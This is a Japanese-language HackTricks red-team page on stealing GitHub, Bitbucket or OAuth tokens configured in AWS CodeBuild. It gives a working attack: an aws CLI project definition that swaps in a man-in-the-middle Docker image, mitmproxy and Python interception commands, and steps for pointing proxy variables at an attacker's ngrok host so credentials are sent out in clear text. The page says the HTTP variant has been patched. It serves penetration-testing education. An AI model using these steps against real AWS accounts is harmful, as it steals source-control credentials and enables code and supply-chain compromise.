AWS Codebuild - Token Leakage

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

Github/Bitbucketで構成されたトークンの回復

最初に、漏洩させる可能性のあるソース資格情報が構成されていないかを確認します:

aws codebuild list-source-credentials

Dockerイメージを介して

例えば、GitHubへの認証がアカウントに設定されていることがわかった場合、プロジェクトのビルドを実行するためにCodeBuildが特定のDockerイメージを使用するように設定することで、そのアクセス(GHトークンまたはOAuthトークン)を外部に持ち出すことができます。

この目的のために、新しいCodeBuildプロジェクトを作成するか、既存のプロジェクトの環境を変更してDockerイメージを設定できます。

使用できるDockerイメージはhttps://github.com/carlospolop/docker-mitmです。これは非常に基本的なDockerイメージで、https_proxyhttp_proxySSL_CERT_FILEの環境変数を設定します。これにより、**https_proxyおよびhttp_proxyで指定されたホストのほとんどのトラフィックを傍受し、SSL_CERT_FILE**で指定されたSSL証明書を信頼できます。

  1. 独自のDocker MitMイメージを作成してアップロード

    • リポジトリの手順に従ってプロキシIPアドレスを設定し、SSL証明書を設定してDockerイメージをビルドします。

    • メタデータエンドポイントへのリクエストを傍受しないように、http_proxyを設定しないでください

    • ngrok tcp 4444のように**ngrok**を使用してプロキシをホストに設定できます。

    • Dockerイメージをビルドしたら、それをパブリックリポジトリ(Dockerhub、ECRなど)にアップロードします。

  2. 環境を設定

    • 新しいCodeBuildプロジェクトを作成するか、既存のプロジェクトの環境を変更します。

    • プロジェクトが以前に生成されたDockerイメージを使用するように設定します。

  1. ホストでMitMプロキシを設定

  • Githubリポジトリで指示されているように、次のようなものを使用できます:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

mitmproxyのバージョンは9.0.1を使用しましたが、バージョン10では動作しない可能性が報告されています。

  1. ビルドを実行して資格情報をキャプチャする

  • Authorizationヘッダーでトークンを見ることができます:

これは、aws cliから次のような方法で行うこともできます

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

HTTPプロトコル経由

この脆弱性は2023年2月20日の週(おそらく金曜日)にAWSによって修正されました。したがって、攻撃者はこれをもう悪用できません :)

CodeBuildで昇格された権限を持つ攻撃者は、構成されたGithub/Bitbucketトークンを漏洩することができます。また、OAuth経由で権限が構成されている場合は、コードにアクセスするために使用される一時的なOAuthトークンを漏洩させることができます。

  • 攻撃者は、CodeBuildプロジェクトに環境変数http_proxyhttps_proxyを追加し、それを自分のマシンを指すように設定できます(例: http://5.tcp.eu.ngrok.io:14972)。

  • 次に、githubリポジトリのURLをHTTPSではなくHTTPを使用するように変更します。例: **http://**github.com/carlospolop-forks/TestActions

  • 次に、プロキシ変数(http_proxyおよびhttps_proxy)が指すポートでhttps://github.com/synchronizing/mitmの基本例を実行します。

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 最後に、プロジェクトをビルドをクリックすると、資格情報がmitmポートにクリアテキスト(base64)で送信されます:

これで攻撃者は自分のマシンからトークンを使用し、それが持つすべての特権をリストアップし、CodeBuildサービスを直接使用するよりも簡単に(悪用)することができます。

htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

最終更新